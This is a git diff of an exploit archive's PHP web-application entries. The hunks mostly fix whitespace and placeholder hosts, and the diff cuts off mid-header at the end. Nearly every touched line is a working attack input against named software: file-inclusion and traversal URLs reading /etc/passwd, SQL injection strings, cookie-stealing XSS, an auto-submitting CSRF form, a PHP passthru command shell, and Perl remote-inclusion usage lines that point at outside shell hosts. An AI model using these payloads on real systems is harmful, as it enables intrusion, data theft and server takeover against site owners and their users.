-4,4 +4,4 @@ The 'com_jstore' component for Joomla! is prone to a local file-include vulnerab An attacker can exploit this vulnerability to obtain potentially sensitive information or to execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible. -http://www.example.com/index.php?option=com_jstore&controller=./../../../../../../../../etc/passwd%00 \ No newline at end of file +http://www.example.com/index.php?option=com_jstore&controller=./../../../../../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/php/webapps/3484.txt b/platforms/php/webapps/3484.txt index 151cb7105..0f82ee2d7 100755 --- a/platforms/php/webapps/3484.txt +++ b/platforms/php/webapps/3484.txt @@ -1,4 +1,4 @@ -.-""""""""-. + .-""""""""-. / Dj7xpl \ | | |, .-. .-. ,| diff --git a/platforms/php/webapps/34845.txt b/platforms/php/webapps/34845.txt index e99378f17..6f6161626 100755 --- a/platforms/php/webapps/34845.txt +++ b/platforms/php/webapps/34845.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow PHP Photo Vote 1.3F is vulnerable; other versions may also be affected. -http://www.example.com/demo/photovote/login.php?page="><script>alert(document.cookie);</script> \ No newline at end of file +http://www.example.com/demo/photovote/login.php?page="><script>alert(document.cookie);</script> \ No newline at end of file diff --git a/platforms/php/webapps/34849.txt b/platforms/php/webapps/34849.txt index d91f8beec..795d2410a 100755 --- a/platforms/php/webapps/34849.txt +++ b/platforms/php/webapps/34849.txt @@ -8,4 +8,4 @@ AdvertisementManager 3.1.0 is vulnerable; other versions may also be affected. http://www.example.com/Advertisement/cgi/index.php?usr=indoushka&passw=indoushka&savelogin=on&admin=Enter&req=../../../../../../../../boot.ini%00 -http://www.example.com/Advertisement/cgi/index.php?usr=indoushka&passw=indoushka&savelogin=on&admin=Enter&req=http://www.example.com/c.txt? \ No newline at end of file +http://www.example.com/Advertisement/cgi/index.php?usr=indoushka&passw=indoushka&savelogin=on&admin=Enter&req=http://www.example.com/c.txt? \ No newline at end of file diff --git a/platforms/php/webapps/34851.txt b/platforms/php/webapps/34851.txt index f7c492345..6b73170e1 100755 --- a/platforms/php/webapps/34851.txt +++ b/platforms/php/webapps/34851.txt @@ -8,7 +8,7 @@ godork : "jobid=" bacula-web vulnerability : + Sql injection - example : http://server/bacula-web/joblogs.php?jobid=99' + example : http://target.com/bacula-web/joblogs.php?jobid=99' PoC : diff --git a/platforms/php/webapps/3487.pl b/platforms/php/webapps/3487.pl index 34d6c9997..6b491f3b8 100755 --- a/platforms/php/webapps/3487.pl +++ b/platforms/php/webapps/3487.pl @@ -11,7 +11,7 @@ # Kullanimi # perl cra.pl <target> <cmd shell location> <cmd shell variable> # -# perl cra.pl http://server/ http://server/cmd.txt cmd +# perl cra.pl http://site.com/ http://site.com/cmd.txt cmd # # cmd shell example: <?passthru($_GET[cmd]);?> # @@ -76,7 +76,7 @@ sub usage() { head(); print " Usage: perl cra <target> <cmd shell location> <cmd shell variable>\r\n\n"; - print " <Site> - Full path to example: http://www.server/ \r\n"; + print " <Site> - Full path to example: http://www.site.com/ \r\n"; print " <cmd shell> - Path to cmd Shell e.g http://sibersavascilar.com/rst.txt? \r\n"; print " <cmd variable> - Command variable used in php shell \r\n"; print "============================================================================\r\n"; diff --git a/platforms/php/webapps/34873.txt b/platforms/php/webapps/34873.txt index 84050b946..36d7f9921 100755 --- a/platforms/php/webapps/34873.txt +++ b/platforms/php/webapps/34873.txt @@ -8,4 +8,4 @@ Versions prior to Wap-motor 18.1 are vulnerable. http://www.example.com/gallery/gallery.php?image=%00../profil/Twost.prof%00.gif http://www.example.com/gallery/gallery.php?image=%00../../template/config.php%00.gif -http://www.example.com/gallery/gallery.php?image=%00../datatmp/adminlist.dat%00.gif \ No newline at end of file +http://www.example.com/gallery/gallery.php?image=%00../datatmp/adminlist.dat%00.gif \ No newline at end of file diff --git a/platforms/php/webapps/34875.txt b/platforms/php/webapps/34875.txt index 67db89430..6046b3257 100755 --- a/platforms/php/webapps/34875.txt +++ b/platforms/php/webapps/34875.txt @@ -4,4 +4,4 @@ QuarkMail is prone to a directory-traversal vulnerability because it fails to su Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks. -http://www.example.com/cgi-bin/get_message.cgi?sk=tERZ6WI1&fd=inbox&p=1&l=10&max=2&lang=gb&tf=../../../../../../../ etc/passwd%00&id=2&sort=0&read_flag=yes \ No newline at end of file +http://www.example.com/cgi-bin/get_message.cgi?sk=tERZ6WI1&fd=inbox&p=1&l=10&max=2&lang=gb&tf=../../../../../../../ etc/passwd%00&id=2&sort=0&read_flag=yes \ No newline at end of file diff --git a/platforms/php/webapps/34876.txt b/platforms/php/webapps/34876.txt index 9a5e740eb..8d582a936 100755 --- a/platforms/php/webapps/34876.txt +++ b/platforms/php/webapps/34876.txt @@ -5,4 +5,4 @@ E-Gold Game Series: Pirates of The Caribbean is prone to multiple SQL-injection Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. http://www.example.com/demo/caribbean/?y=1 and 1=1&x=1 TRUE -http://www.example.com/demo/caribbean/?y=1 and 1=2&x=1 FALSE \ No newline at end of file +http://www.example.com/demo/caribbean/?y=1 and 1=2&x=1 FALSE \ No newline at end of file diff --git a/platforms/php/webapps/34882.html b/platforms/php/webapps/34882.html index 123418215..e3ff942a8 100755 --- a/platforms/php/webapps/34882.html +++ b/platforms/php/webapps/34882.html @@ -6,4 +6,4 @@ Successful exploits will allow attacker-supplied HTML and script code to run in sNews 1.7 is vulnerable; other versions may also be affected. -<form action="http://www.example.com/?action=process&task=save_settings" method="post" name="main" > <input type="hidden" name="website_title" value='sNews 1.7"><script>alert(document.cookie)</script>'> <input type="hidden" name="home_sef" value="home"> <input type="hidden" name="website_description" value="sNews CMS"> <input type="hidden" name="website_keywords" value="snews"> <input type="hidden" name="website_email" value="info@mydomain.com"> <input type="hidden" name="contact_subject" value="Contact Form"> <input type="hidden" name="language" value="EN"> <input type="hidden" name="charset" value="UTF-8"> <input type="hidden" name="date_format" value="d.m.Y.+H:i"> <input type="hidden" name="article_limit" value="3"> <input type="hidden" name="rss_limit" value="5"> <input type="hidden" name="display_page" value="0"> <input type="hidden" name="num_categories" value="on"> <input type="hidden" name="file_ext" value="phps,php,txt,inc,htm,html"> <input type="hidden" name="allowed_file" value="php,htm,html,txt,inc,css,js,swf"> <input type="hidden" name="allowed_img" value="gif,jpg,jpeg,png"> <input type="hidden" name="comment_repost_timer" value="20"> <input type="hidden" name="comments_order" value="ASC"> <input type="hidden" name="comment_limit" value="30"> <input type="hidden" name="word_filter_file" value=""> <input type="hidden" name="word_filter_change" value=""> <input type="hidden" name="save" value="Save"> </form> <script> document.main.submit(); </script> <form action="http://www.example.com/?action=process&task=admin_article&id=2" method="post" name="main" > <input type="hidden" name="title" value="article title" /> <input type="hidden" name="seftitle" value="sefurl" /> <input type="hidden" name="text" value='article text"><script>alert(document.cookie)</script>' /> <input type="hidden" name="define_category" value="1" /> <input type="hidden" name="publish_article" value="on" /> <input type="hidden" name="position" value="1" /> <input type="hidden" name="description_meta" value="desc" /> <input type="hidden" name="keywords_meta" value="key" /> <input type="hidden" name="display_title" value="on" /> <input type="hidden" name="display_info" value="on" /> <input type="hidden" name="fposting_day" value="29" /> <input type="hidden" name="fposting_month" value="9" /> <input type="hidden" name="fposting_year" value="2010" /> <input type="hidden" name="fposting_hour" value="16" /> <input type="hidden" name="fposting_minute" value="40" /> <input type="hidden" name="task" value="admin_article" /> <input type="hidden" name="edit_article" value="Edit" /> <input type="hidden" name="article_category" value="1" /> <input type="hidden" name="id" value="2" /> </form> <script> document.main.submit(); </script> \ No newline at end of file +<form action="http://www.example.com/?action=process&task=save_settings" method="post" name="main" > <input type="hidden" name="website_title" value='sNews 1.7"><script>alert(document.cookie)</script>'> <input type="hidden" name="home_sef" value="home"> <input type="hidden" name="website_description" value="sNews CMS"> <input type="hidden" name="website_keywords" value="snews"> <input type="hidden" name="website_email" value="info@mydomain.com"> <input type="hidden" name="contact_subject" value="Contact Form"> <input type="hidden" name="language" value="EN"> <input type="hidden" name="charset" value="UTF-8"> <input type="hidden" name="date_format" value="d.m.Y.+H:i"> <input type="hidden" name="article_limit" value="3"> <input type="hidden" name="rss_limit" value="5"> <input type="hidden" name="display_page" value="0"> <input type="hidden" name="num_categories" value="on"> <input type="hidden" name="file_ext" value="phps,php,txt,inc,htm,html"> <input type="hidden" name="allowed_file" value="php,htm,html,txt,inc,css,js,swf"> <input type="hidden" name="allowed_img" value="gif,jpg,jpeg,png"> <input type="hidden" name="comment_repost_timer" value="20"> <input type="hidden" name="comments_order" value="ASC"> <input type="hidden" name="comment_limit" value="30"> <input type="hidden" name="word_filter_file" value=""> <input type="hidden" name="word_filter_change" value=""> <input type="hidden" name="save" value="Save"> </form> <script> document.main.submit(); </script> <form action="http://www.example.com/?action=process&task=admin_article&id=2" method="post" name="main" > <input type="hidden" name="title" value="article title" /> <input type="hidden" name="seftitle" value="sefurl" /> <input type="hidden" name="text" value='article text"><script>alert(document.cookie)</script>' /> <input type="hidden" name="define_category" value="1" /> <input type="hidden" name="publish_article" value="on" /> <input type="hidden" name="position" value="1" /> <input type="hidden" name="description_meta" value="desc" /> <input type="hidden" name="keywords_meta" value="key" /> <input type="hidden" name="display_title" value="on" /> <input type="hidden" name="display_info" value="on" /> <input type="hidden" name="fposting_day" value="29" /> <input type="hidden" name="fposting_month" value="9" /> <input type="hidden" name="fposting_year" value="2010" /> <input type="hidden" name="fposting_hour" value="16" /> <input type="hidden" name="fposting_minute" value="40" /> <input type="hidden" name="task" value="admin_article" /> <input type="hidden" name="edit_article" value="Edit" /> <input type="hidden" name="article_category" value="1" /> <input type="hidden" name="id" value="2" /> </form> <script> document.main.submit(); </script> \ No newline at end of file diff --git a/platforms/php/webapps/34883.txt b/platforms/php/webapps/34883.txt index 0ef55be92..f0e32a1b6 100755 --- a/platforms/php/webapps/34883.txt +++ b/platforms/php/webapps/34883.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to carry out unauthorized actions on the unde 4Site CMS 2.6 is vulnerable; other versions may also be affected. -http://www.example.com/catalog/index.shtml?cat=-1+UNION+SELECT+@@version \ No newline at end of file +http://www.example.com/catalog/index.shtml?cat=-1+UNION+SELECT+@@version \ No newline at end of file diff --git a/platforms/php/webapps/3489.txt b/platforms/php/webapps/3489.txt index a670afdd8..2d11f2615 100755 --- a/platforms/php/webapps/3489.txt +++ b/platforms/php/webapps/3489.txt @@ -1,4 +1,4 @@ -.-""""""""-. + .-""""""""-. / Dj7xpl \ | | |, .-. .-. ,| diff --git a/platforms/php/webapps/34905.txt b/platforms/php/webapps/34905.txt index a085eccff..beec8dcf7 100755 --- a/platforms/php/webapps/34905.txt +++ b/platforms/php/webapps/34905.txt @@ -8,4 +8,4 @@ The attacker may leverage the cross-site scripting issue to execute arbitrary sc w-Agora 4.2.1 and prior are vulnerable. -http://www.example.com/news/search.php3?bn=..\1 http://www.example.com/news/search.php3?bn=..\1 \ No newline at end of file +http://www.example.com/news/search.php3?bn=..\1 http://www.example.com/news/search.php3?bn=..\1 \ No newline at end of file diff --git a/platforms/php/webapps/34919.txt b/platforms/php/webapps/34919.txt index 0fc9a45bf..5bb8838df 100755 --- a/platforms/php/webapps/34919.txt +++ b/platforms/php/webapps/34919.txt @@ -6,4 +6,4 @@ Exploiting this issue requires administrative privileges and may allow an attack SkyBlueCanvas 1.1 r237 is vulnerable; other versions may also be affected. -http://www.example.com/skybluecanvas/admin.php?mgrou=pictures&mgr=media&dir=../../../../../../../etc/ \ No newline at end of file +http://www.example.com/skybluecanvas/admin.php?mgrou=pictures&mgr=media&dir=../../../../../../../etc/ \ No newline at end of file diff --git a/platforms/php/webapps/34935.txt b/platforms/php/webapps/34935.txt index 87bd65e11..392d355b7 100755 --- a/platforms/php/webapps/34935.txt +++ b/platforms/php/webapps/34935.txt @@ -4,4 +4,4 @@ LES PACKS is prone to an SQL-injection vulnerability. An attacker can exploit this SQL-injection issue to carry out unauthorized actions on the underlying database, which may compromise the application and aid in further attacks. -http://www.example.com/index.php?Page=articles&ID=-1+union+select+1,2,@@version,4,5,6,7,8,9,10,11,12,13,14,15 \ No newline at end of file +http://www.example.com/index.php?Page=articles&ID=-1+union+select+1,2,@@version,4,5,6,7,8,9,10,11,12,13,14,15 \ No newline at end of file diff --git a/platforms/php/webapps/34937.txt b/platforms/php/webapps/34937.txt index 7d03deca8..3d120a2f3 100755 --- a/platforms/php/webapps/34937.txt +++ b/platforms/php/webapps/34937.txt @@ -18,4 +18,4 @@ http://www.example.com/[path]/?language=../../../../../../../etc/passwd%00 Cross Site Scripting: -http://www.example.com/[path]/library/sites/editor.php?category=[XSS] \ No newline at end of file +http://www.example.com/[path]/library/sites/editor.php?category=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/34939.txt b/platforms/php/webapps/34939.txt index 1f93180c6..6bdeb9b3b 100755 --- a/platforms/php/webapps/34939.txt +++ b/platforms/php/webapps/34939.txt @@ -17,4 +17,4 @@ http://www.example.com/news/login.php3?bn=1 Any folder (only on Windows-servers): http://www.example.com/news/for-print.php3?bn=..\1 -http://www.example.com/news/login.php3?bn=..\1 \ No newline at end of file +http://www.example.com/news/login.php3?bn=..\1 \ No newline at end of file diff --git a/platforms/php/webapps/34940.txt b/platforms/php/webapps/34940.txt index dfbe9cadd..5a3a3126c 100755 --- a/platforms/php/webapps/34940.txt +++ b/platforms/php/webapps/34940.txt @@ -7,4 +7,4 @@ Remote attackers can use a specially crafted request with directory-traversal se 212cafe WebBoard 2.90 beta is vulnerable; other versions may also be affected. http://www.example.com/webboard/view.php?topic=../../../../../../etc/passwd%00 -http://www.example.com/webboard/view.php?topic=../../../../../../WINDOWS/system32/eula \ No newline at end of file +http://www.example.com/webboard/view.php?topic=../../../../../../WINDOWS/system32/eula \ No newline at end of file diff --git a/platforms/php/webapps/34941.txt b/platforms/php/webapps/34941.txt index 9ed701d73..54f803efe 100755 --- a/platforms/php/webapps/34941.txt +++ b/platforms/php/webapps/34941.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Arcade Trade Script 1.0 beta is vulnerable; other versions may also be affected. -http://www.example.com/index.php?a=gamelist&q=[XSS]&submit=GO \ No newline at end of file +http://www.example.com/index.php?a=gamelist&q=[XSS]&submit=GO \ No newline at end of file diff --git a/platforms/php/webapps/34942.txt b/platforms/php/webapps/34942.txt index 8918ed3a6..c4d8d7f4b 100755 --- a/platforms/php/webapps/34942.txt +++ b/platforms/php/webapps/34942.txt @@ -18,4 +18,4 @@ https://www.example.com/index.php?menu=summary_by_extension&option_fil=&value_fi https://www.example.com/index.php?menu=grouplist&action=view&id=1%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E -https://www.example.com/index.php?menu=group_permission&filter_group=1&filter_resource=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E \ No newline at end of file +https://www.example.com/index.php?menu=group_permission&filter_group=1&filter_resource=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/34944.txt b/platforms/php/webapps/34944.txt index d540511fe..f4b469ee4 100755 --- a/platforms/php/webapps/34944.txt +++ b/platforms/php/webapps/34944.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to view the source code of files in t SmartOptimizer 1.7 is vulnerable; prior versions may also be affected. -http://www.example.com/smartoptimizer/index.php?../index.php%00.js \ No newline at end of file +http://www.example.com/smartoptimizer/index.php?../index.php%00.js \ No newline at end of file diff --git a/platforms/php/webapps/34947.txt b/platforms/php/webapps/34947.txt index 6b2e01549..6da5bcbff 100755 --- a/platforms/php/webapps/34947.txt +++ b/platforms/php/webapps/34947.txt @@ -6,4 +6,4 @@ Exploiting these issues could allow an attacker to steal cookie-based authentica CMS WebManager-Pro 7.4.3 is vulnerable; other verisons may also be affected. -http://www.example.com/index.php?word[]={XSS} \ No newline at end of file +http://www.example.com/index.php?word[]={XSS} \ No newline at end of file diff --git a/platforms/php/webapps/34951.txt b/platforms/php/webapps/34951.txt index b24d42182..7fff772d7 100755 --- a/platforms/php/webapps/34951.txt +++ b/platforms/php/webapps/34951.txt @@ -8,4 +8,4 @@ Online Work Order Suite 2.10 is vulnerable; other versions may also be affected. The following example data is available: -' or 1=1 or ''='' \ No newline at end of file +' or 1=1 or ''='' \ No newline at end of file diff --git a/platforms/php/webapps/34955.txt b/platforms/php/webapps/34955.txt index 2ccde30d0..2cbb91169 100755 --- a/platforms/php/webapps/34955.txt +++ b/platforms/php/webapps/34955.txt @@ -8,4 +8,4 @@ Versions prior to Joomla! 1.5.22 are vulnerable. http://yehg.net/lab/pr0js/advisories/joomla/core/1.5.21/sql_injection/sqli_(filter_order)_front.jpg http://yehg.net/lab/pr0js/advisories/joomla/core/1.5.21/sql_injectio /sqli_%28filter_order_Dir%29_front.jpg -http://yehg.net/lab/pr0js/advisories/joomla/core/1.5.21/sql_injectio /sqli_%28filter_order_Dir%29_back.jpg \ No newline at end of file +http://yehg.net/lab/pr0js/advisories/joomla/core/1.5.21/sql_injectio /sqli_%28filter_order_Dir%29_back.jpg \ No newline at end of file diff --git a/platforms/php/webapps/34972.txt b/platforms/php/webapps/34972.txt index 9cd9d905f..769ac7f6a 100755 --- a/platforms/php/webapps/34972.txt +++ b/platforms/php/webapps/34972.txt @@ -4,4 +4,4 @@ The AutoArticles 3000 component for Joomla! is prone to an SQL-injection vulnera Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_a3000&task=showarticle&id=1 [Blind Sql] \ No newline at end of file +http://www.example.com/index.php?option=com_a3000&task=showarticle&id=1 [Blind Sql] \ No newline at end of file diff --git a/platforms/php/webapps/34975.txt b/platforms/php/webapps/34975.txt index 3f91dee38..2b17063e9 100755 --- a/platforms/php/webapps/34975.txt +++ b/platforms/php/webapps/34975.txt @@ -6,4 +6,4 @@ Exploiting this issue can allow an attacker to obtain sensitive information that SEO Tools 3.0 is vulnerable; other versions may also be affected. -http://www.example.com/wordpress/wp-content/plugins/seo-automatic-seo-tools/feedcommander/get_download.php?file=../../../../../../../../windows/win.ini \ No newline at end of file +http://www.example.com/wordpress/wp-content/plugins/seo-automatic-seo-tools/feedcommander/get_download.php?file=../../../../../../../../windows/win.ini \ No newline at end of file diff --git a/platforms/php/webapps/34977.txt b/platforms/php/webapps/34977.txt index 59dd725e8..d6a8aa8e5 100755 --- a/platforms/php/webapps/34977.txt +++ b/platforms/php/webapps/34977.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to view local files in the context of the aff jRSS Widget 1.1.1 is vulnerable; other versions may also be affected. -http://www.example.com/wordpress/wp-content/plugins/jrss-widget/proxy.php?url=../../../../../../../../windows/win.ini \ No newline at end of file +http://www.example.com/wordpress/wp-content/plugins/jrss-widget/proxy.php?url=../../../../../../../../windows/win.ini \ No newline at end of file diff --git a/platforms/php/webapps/34988.txt b/platforms/php/webapps/34988.txt index 9db1e8a44..870ff216e 100755 --- a/platforms/php/webapps/34988.txt +++ b/platforms/php/webapps/34988.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary HTML and script code in PHPShop 2.1 EE is vulnerable; other versions may also be affected. -http://www.example.com/uploads/2010/PHPShop%20XSS.html \ No newline at end of file +http://www.example.com/uploads/2010/PHPShop%20XSS.html \ No newline at end of file diff --git a/platforms/php/webapps/34995.txt b/platforms/php/webapps/34995.txt index cfafe286d..acfbaf781 100755 --- a/platforms/php/webapps/34995.txt +++ b/platforms/php/webapps/34995.txt @@ -4,4 +4,4 @@ Simea CMS is prone to an SQL-injection vulnerability because it fails to suffici Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/path/index.php?product=-1+union+select+1,2,concat(version(),0x3a,database()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 \ No newline at end of file +http://www.example.com/path/index.php?product=-1+union+select+1,2,concat(version(),0x3a,database()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 \ No newline at end of file diff --git a/platforms/php/webapps/34996.txt b/platforms/php/webapps/34996.txt index ef319df54..0cc4f0439 100755 --- a/platforms/php/webapps/34996.txt +++ b/platforms/php/webapps/34996.txt @@ -4,4 +4,4 @@ Raised Eyebrow CMS is prone to an SQL-injection vulnerability because it fails t Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/path/venue.php?id=-1+union+select+1,2,3,4,5 \ No newline at end of file +http://www.example.com/path/venue.php?id=-1+union+select+1,2,3,4,5 \ No newline at end of file diff --git a/platforms/php/webapps/35009.txt b/platforms/php/webapps/35009.txt index 1230ab7bc..503eda26d 100755 --- a/platforms/php/webapps/35009.txt +++ b/platforms/php/webapps/35009.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc AuraCMS 1.62 is vulnerable; other versions may also be affected. -http://www.example.com/pdf.php?id=140+AND+1=2+UNION+SELECT+ind0nesianc0der,1,2,3,4,5,6,7 \ No newline at end of file +http://www.example.com/pdf.php?id=140+AND+1=2+UNION+SELECT+ind0nesianc0der,1,2,3,4,5,6,7 \ No newline at end of file diff --git a/platforms/php/webapps/35022.txt b/platforms/php/webapps/35022.txt index 86a84df7a..f51a08cc2 100755 --- a/platforms/php/webapps/35022.txt +++ b/platforms/php/webapps/35022.txt @@ -4,4 +4,4 @@ source: http://www.securityfocus.com/bid/45079/info A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. -http://www.example.com/4images/categories.php?cat_id=1&page=-2999+%27%29+union/ \ No newline at end of file +http://www.example.com/4images/categories.php?cat_id=1&page=-2999+%27%29+union/ \ No newline at end of file diff --git a/platforms/php/webapps/35023.txt b/platforms/php/webapps/35023.txt index c88cd01c0..811141d6e 100755 --- a/platforms/php/webapps/35023.txt +++ b/platforms/php/webapps/35023.txt @@ -6,4 +6,4 @@ Exploiting these issues could allow an attacker to compromise the application, a Wernhart Guestbook 2001.03.28 is vulnerable; other versions may also be affected. -http://www.example.com/guestbook/insert.phtml?LastName=' union select 1,2,3,4,5,6/* \ No newline at end of file +http://www.example.com/guestbook/insert.phtml?LastName=' union select 1,2,3,4,5,6/* \ No newline at end of file diff --git a/platforms/php/webapps/35024.txt b/platforms/php/webapps/35024.txt index fccff9461..c9caa56d5 100755 --- a/platforms/php/webapps/35024.txt +++ b/platforms/php/webapps/35024.txt @@ -6,4 +6,4 @@ An attacker can exploit these vulnerabilities to compromise the application, acc http://www.example.com/index.php?option=com_catalogue&Itemid=73&cat_id=[SQLi] -http://www.example.com/index.php?option=com_catalogue&controller=[LFI] \ No newline at end of file +http://www.example.com/index.php?option=com_catalogue&controller=[LFI] \ No newline at end of file diff --git a/platforms/php/webapps/35026.txt b/platforms/php/webapps/35026.txt index f3ecafe69..dbafa6225 100755 --- a/platforms/php/webapps/35026.txt +++ b/platforms/php/webapps/35026.txt @@ -4,4 +4,4 @@ Joomla! Store Directory is prone to an SQL-injection vulnerability because it fa Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_storedirectory&task=view&id=[SQLi] \ No newline at end of file +http://www.example.com/index.php?option=com_storedirectory&task=view&id=[SQLi] \ No newline at end of file diff --git a/platforms/php/webapps/35027.txt b/platforms/php/webapps/35027.txt index 31f6f5d66..40c7662d2 100755 --- a/platforms/php/webapps/35027.txt +++ b/platforms/php/webapps/35027.txt @@ -9,4 +9,4 @@ E-lokaler CMS 2 is vulnerable; other versions may also be affected. The following example inputs are available: Username: ' or 1=1-- - -Password: ' or 1=1-- - \ No newline at end of file +Password: ' or 1=1-- - \ No newline at end of file diff --git a/platforms/php/webapps/35028.txt b/platforms/php/webapps/35028.txt index ada2a3c8b..8a0d984b7 100755 --- a/platforms/php/webapps/35028.txt +++ b/platforms/php/webapps/35028.txt @@ -5,4 +5,4 @@ SmartBox is prone to an SQL-injection vulnerability because the application fail A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. -http://www.example.com/page.php?page_id=14%20and%20substring%28@@version,1,1%29=5 \ No newline at end of file +http://www.example.com/page.php?page_id=14%20and%20substring%28@@version,1,1%29=5 \ No newline at end of file diff --git a/platforms/php/webapps/35036.txt b/platforms/php/webapps/35036.txt index 7acd65237..b92283277 100755 --- a/platforms/php/webapps/35036.txt +++ b/platforms/php/webapps/35036.txt @@ -4,4 +4,4 @@ The Annuaire component for Joomla! is prone to an SQL-injection vulnerability be Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_annuaire&view=annuaire&type=cat&id=[SQLi] \ No newline at end of file +http://www.example.com/index.php?option=com_annuaire&view=annuaire&type=cat&id=[SQLi] \ No newline at end of file diff --git a/platforms/php/webapps/3504.pl b/platforms/php/webapps/3504.pl index 7e64eeb6f..3937ff6a5 100755 --- a/platforms/php/webapps/3504.pl +++ b/platforms/php/webapps/3504.pl @@ -62,7 +62,7 @@ sub usage() { head(); print " Usage: perl Gold.pl <Victim> <Cmd Shell Location> <Cmd Shell Variable>\r\n\n"; - print " <Site> - Full path to example: http://www.server/ \r\n"; + print " <Site> - Full path to example: http://www.site.com/ \r\n"; print " <cmd shell> - Path to Cmd Shell e.g http://spy-art.com/xx.txt? \r\n"; print " <cmd variable> - Command Variable Used In Php Shell \r\n"; print "============================================================================\r\n"; diff --git a/platforms/php/webapps/35044.txt b/platforms/php/webapps/35044.txt index 91bc56a3c..fc55eb379 100755 --- a/platforms/php/webapps/35044.txt +++ b/platforms/php/webapps/35044.txt @@ -8,4 +8,4 @@ Alguest 1.1c-patched is vulnerable; other versions may also be affected. The following example input is available: -Cookie: admin=anyvalue \ No newline at end of file +Cookie: admin=anyvalue \ No newline at end of file diff --git a/platforms/php/webapps/35050.txt b/platforms/php/webapps/35050.txt index 4698685cd..f99a4ba94 100755 --- a/platforms/php/webapps/35050.txt +++ b/platforms/php/webapps/35050.txt @@ -6,4 +6,4 @@ A successful exploit could allow an attacker to compromise the application, acce Alguest 1.1c-patched is vulnerable; other versions may also be affected. -http://www.example.com/alguest/index.php?start=' \ No newline at end of file +http://www.example.com/alguest/index.php?start=' \ No newline at end of file diff --git a/platforms/php/webapps/35052.txt b/platforms/php/webapps/35052.txt index 93374bae0..4f28a1d72 100755 --- a/platforms/php/webapps/35052.txt +++ b/platforms/php/webapps/35052.txt @@ -22,7 +22,7 @@ server. Steps to reproduce: -1. http://<a magentoserver>/magmi/web/magmi.php +1. http://<a magentosite.com>/magmi/web/magmi.php 2. Under upload new plugins: click on "choose file" MAGento plugins are basically php file zipped. So create a php shell and @@ -53,6 +53,6 @@ else { 3. Your malicious evil.php file is extracted now. All you then need to do is just access the evil.php page from: -http://<amagentoserver>/magmi/plugins/evil.php +http://<amagentosite.com>/magmi/plugins/evil.php At this point you could really have access to the entire system. Download any malware, install rootkits, skim credit card data ..etc.etc. diff --git a/platforms/php/webapps/35060.txt b/platforms/php/webapps/35060.txt index 99153785c..9a682a07e 100755 --- a/platforms/php/webapps/35060.txt +++ b/platforms/php/webapps/35060.txt @@ -6,4 +6,4 @@ A successful exploit could allow an attacker to compromise the application, acce Aigaion 1.3.4 is vulnerable; other versions may also be affected. -http://www.example.com/Aigaion/ indexlight.php?page=export&type=single&format=RIS&ID=[SQLi] \ No newline at end of file +http://www.example.com/Aigaion/ indexlight.php?page=export&type=single&format=RIS&ID=[SQLi] \ No newline at end of file diff --git a/platforms/php/webapps/35063.txt b/platforms/php/webapps/35063.txt index 37811bae2..0013a0ba8 100755 --- a/platforms/php/webapps/35063.txt +++ b/platforms/php/webapps/35063.txt @@ -4,4 +4,4 @@ Zimplit CMS is prone to multiple cross-site-scripting vulnerabilities because it An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/path/zimplit.php?action=load&file=%3Cscript%3Ealert%28document.cookie%29%3C/script%3E \ No newline at end of file +http://www.example.com/path/zimplit.php?action=load&file=%3Cscript%3Ealert%28document.cookie%29%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/35066.txt b/platforms/php/webapps/35066.txt index 001bdf75f..e72ae8c1d 100755 --- a/platforms/php/webapps/35066.txt +++ b/platforms/php/webapps/35066.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow WordPress Processing Embed plugin 0.5 is vulnerable; other versions may also be affected. -http://www.example.com/wordpress/wp-content/plugins/wordpress-processing-embed/data/popup.php?pluginurl=%3Cscript%3Ealert(0)%3C/script%3E \ No newline at end of file +http://www.example.com/wordpress/wp-content/plugins/wordpress-processing-embed/data/popup.php?pluginurl=%3Cscript%3Ealert(0)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/35067.txt b/platforms/php/webapps/35067.txt index fb3a3d77e..655cdbade 100755 --- a/platforms/php/webapps/35067.txt +++ b/platforms/php/webapps/35067.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Safe Search 0.7 is vulnerable; other versions may also be affected. 2010-12-08 -http://www.example.com/wordpress/wp-content/plugins/wp-safe-search/wp-safe-search-jx.php?v1=%3Cscript%3Ealert(0)%3C/script%3E \ No newline at end of file +http://www.example.com/wordpress/wp-content/plugins/wp-safe-search/wp-safe-search-jx.php?v1=%3Cscript%3Ealert(0)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/3508.txt b/platforms/php/webapps/3508.txt index 33de1a5cd..084d957a8 100755 